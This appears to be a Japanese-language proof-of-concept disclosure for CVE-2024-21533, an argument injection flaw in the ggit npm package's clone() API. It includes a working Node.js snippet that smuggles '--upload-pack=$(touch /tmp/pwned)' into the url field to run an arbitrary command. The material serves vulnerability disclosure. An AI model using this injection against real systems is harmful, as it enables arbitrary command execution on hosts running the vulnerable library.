
CVE-2024-21533 PoC ggit
ggit は自身を次のように説明しています:
Local promise-returning git command wrappers
リソース:
この引数インジェクションの脆弱性に関する記事: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
私は ggit npm パッケージにおける引数インジェクションの脆弱性を報告しています。
この脆弱性は、ライブラリの clone() API で現れます。この API は、クローン元のリモート URL とクローン先のディスク上のファイルを指定できます。しかし、ライブラリはユーザー入力をサニタイズしたり、指定された URL スキームを検証したりせず、また、オプションの終了を示すための POSIX のダブルダッシュ文字 (--) を使って git バイナリにコマンドラインフラグを適切に渡しません。
そのため、ユーザーは --upload-pack コマンドラインオプションによって Git の引数インジェクションの脆弱性を悪用でき、任意のコマンドを実行することが可能になります。(outPath) にクローンすると、脆弱性が適用されます。
[email protected] 以前をインストールするconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwned が新しく作成されているのを確認するこのプロジェクトへのコントリビューションに関するガイドラインは CONTRIBUTING を参照してください。
Liran Tal